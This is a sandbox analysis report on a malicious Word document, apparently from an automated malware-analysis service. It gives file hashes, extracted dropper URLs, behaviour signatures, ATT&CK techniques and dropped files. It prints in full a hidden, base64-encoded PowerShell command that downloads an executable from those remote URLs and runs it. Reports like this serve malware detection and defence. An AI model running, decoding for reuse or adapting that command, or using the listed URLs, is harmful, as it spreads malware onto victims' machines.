759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8

General

Target

759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8.doc
Size

124KB
MD5

335fe9fa1a92089b7ef769503667900d
SHA1

aa1744f5e5b91d7f71fbca4cefaf10e50d84c0cd
SHA256

759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8
SHA512

4786f92c7025589812abc2ab8944c7ef7c05531bb78e99801adb25a9ee7a37b1b7aecb90afe74f571257ad6bb6dec4ecc0c1436a5d23f160abd91e8bb542158e
SSDEEP

3072:FaKgdzSrG8KyIwLx3BhgC1s0rPOWfKNRP:FaKUzSLnLx3P3O0r2WfKN5

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

https://sandiegohomevalues.com/engl/4de-kzsyhu-768611/

exe.dropper

https://www.wenkawang.com/data/bofze0s-7ji4-15/

exe.dropper

https://www.bruidsfotograaf-utrecht.com/wp-includes/QLvFLy/

exe.dropper

http://ma.jopedu.com/img/8z8dl-3xn-655019278/

exe.dropper

http://pay.jopedu.com/ThinkPHP/l9okcguh6-b9nnrh7-96245524/

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1396	2624	Powershell.exe	83

Blocklisted process makes network request 2 IoCs

flow	pid	Process
25	1396	Powershell.exe
30	1396	Powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1396	Powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
2356	WINWORD.EXE
2356	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1396	Powershell.exe
1396	Powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1396	Powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
2356	WINWORD.EXE
2356	WINWORD.EXE

Suspicious use of SetWindowsHookEx 7 IoCs

pid	Process
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE
2356	WINWORD.EXE

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2356 wrote to memory of 904	2356	WINWORD.EXE	86
PID 2356 wrote to memory of 904	2356	WINWORD.EXE	86

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\759a79d326ec2adba9922e42f8062027af72a6660c7aa57a14af043d513931b8.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2356
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:904

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell -w hidden -en JABKAGIAagBkAG0AcgBrAGYAPQAnAFcAdgB4AG8AagBqAHgAeQAnADsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAIAA9ACAAJwAzADAANgAnADsAJABHAHgAZAB1AG8AYwBkAGoAYwBqAHQAPQAnAEIAawBmAGsAYgBvAGYAaQBwAHAAYwB6AHQAJwA7ACQATQBiAGsAbQBvAG8AbgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABLAHEAegB2AHEAagBjAGQAYgBkAGsAKwAnAC4AZQB4AGUAJwA7ACQAVQBlAGYAYwB6AHAAYwBkAGYAaQB4AG8APQAnAFIAcQBkAGsAegBtAHkAZABtAHcAdAB3AGYAJwA7ACQASQB5AGIAbgBwAHkAdABmAGEAcABtAD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAJwArACcAdAAnACkAIABuAGUAVAAuAHcAZQBiAGMATABJAEUAbgB0ADsAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAA9ACcAaAB0AHQAcABzADoALwAvAHMAYQBuAGQAaQBlAGcAbwBoAG8AbQBlAHYAYQBsAHUAZQBzAC4AYwBvAG0ALwBlAG4AZwBsAC8ANABkAGUALQBrAHoAcwB5AGgAdQAtADcANgA4ADYAMQAxAC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgB3AGUAbgBrAGEAdwBhAG4AZwAuAGMAbwBtAC8AZABhAHQAYQAvAGIAbwBmAHoAZQAwAHMALQA3AGoAaQA0AC0AMQA1AC8AKgBoAHQAdABwAHMAOgAvAC8AdwB3AHcALgBiAHIAdQBpAGQAcwBmAG8AdABvAGcAcgBhAGEAZgAtAHUAdAByAGUAYwBoAHQALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAFEATAB2AEYATAB5AC8AKgBoAHQAdABwADoALwAvAG0AYQAuAGoAbwBwAGUAZAB1AC4AYwBvAG0ALwBpAG0AZwAvADgAegA4AGQAbAAtADMAeABuAC0ANgA1ADUAMAAxADkAMgA3ADgALwAqAGgAdAB0AHAAOgAvAC8AcABhAHkALgBqAG8AcABlAGQAdQAuAGMAbwBtAC8AVABoAGkAbgBrAFAASABQAC8AbAA5AG8AawBjAGcAdQBoADYALQBiADkAbgBuAHIAaAA3AC0AOQA2ADIANAA1ADUAMgA0AC8AJwAuACIAUwBgAFAATABJAFQAIgAoACcAKgAnACkAOwAkAEEAdgB2AGgAawBvAHkAZQByAD0AJwBaAGcAegBiAGQAegB5AG0AeQAnADsAZgBvAHIAZQBhAGMAaAAoACQAUgBjAHIAbgBkAHEAZgBtAGYAbQBlACAAaQBuACAAJABEAHEAcwB5AG4AYQBoAHkAeQB2AHgAbAApAHsAdAByAHkAewAkAEkAeQBiAG4AcAB5AHQAZgBhAHAAbQAuACIAZABPAGAAVwBuAGwAbwBhAEQAZgBgAEkAbABlACIAKAAkAFIAYwByAG4AZABxAGYAbQBmAG0AZQAsACAAJABNAGIAawBtAG8AbwBuAGcAKQA7ACQAUAB0AGkAdQBxAHIAaQBqAGQAawBsAHYAZQA9ACcASAB3AGgAcwBtAGwAegBzACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQBtACcAKQAgACQATQBiAGsAbQBvAG8AbgBnACkALgAiAEwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMwAwADMAMAA5ACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAYABUAGEAcgBUACIAKAAkAE0AYgBrAG0AbwBvAG4AZwApADsAJABMAHMAdAB4AHMAcwBpAGEAPQAnAFkAcAB5AGgAdgBoAGgAdwAnADsAYgByAGUAYQBrADsAJABWAG4AYQBzAGIAZgBmAG0AbwBxAD0AJwBDAG0AZwBxAHAAZwBzAHMAbgBkAGkAYgAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABJAGwAcgBlAHIAdgB6AGgAaQA9ACcAQgB2AG4AbQB2AG0AcABhAGQAbgBsAGIAJwA=
1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1396

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\306.exe

Filesize
368KB

MD5
f1c8397c293704271dd74ddd59eb217a

SHA1
47c8c6d7b253b7ee34398858d9371d60a27eaabe

SHA256
1534933d7a7c69e3605e7aa2c0ad7008c8e95bb163989678c79f9eec22bd3d8c

SHA512
a09de62c11a75bcb0b0bb5b981954004a087a6789f295cbe06dea7c0dd9f5e0b0ea3940685aaf521ce81407da3727c96cd0bb47062c513c8306af029463f7537

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\Content.MSO\A687E976.wmf

Filesize
444B

MD5
88bca7640ea7a9bde5ee1bc210b5e75a

SHA1
0f399112f1835aef1cd5af605540b58a0094e2ab

SHA256
cfb9d97bf9318868abd697f671b0453609b3c4ad578c08c8babcab33071e80f8

SHA512
ef8ae121f6c38863cad210e09af046e55cac51b8fafd0c3ee7106cf6ec60ea803d2d50b990c00579ab8f74e20b06e744edf219b1036bbdf29ebb2edf882c3af8

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pkeabwny.mpz.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Templates\LiveContent\16\Managed\Word Document Bibliography Styles\TM02851223[[fn=iso690]].xsl

Filesize
263KB

MD5
ff0e07eff1333cdf9fc2523d323dd654

SHA1
77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

SHA256
3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

SHA512
b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

Download Submit
memory/1396-53-0x00000169BA470000-0x00000169BA492000-memory.dmp

Filesize
136KB

Download
memory/2356-13-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-18-0x00007FFCB5380000-0x00007FFCB5390000-memory.dmp

Filesize
64KB

Download
memory/2356-6-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-5-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/2356-12-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-14-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-15-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-1-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/2356-11-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-17-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-16-0x00007FFCB5380000-0x00007FFCB5390000-memory.dmp

Filesize
64KB

Download
memory/2356-7-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-19-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-10-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-9-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-8-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-4-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/2356-0-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download
memory/2356-67-0x00007FFCF7810000-0x00007FFCF7A05000-memory.dmp

Filesize
2.0MB

Download
memory/2356-3-0x00007FFCF78AD000-0x00007FFCF78AE000-memory.dmp

Filesize
4KB

Download
memory/2356-2-0x00007FFCB7890000-0x00007FFCB78A0000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads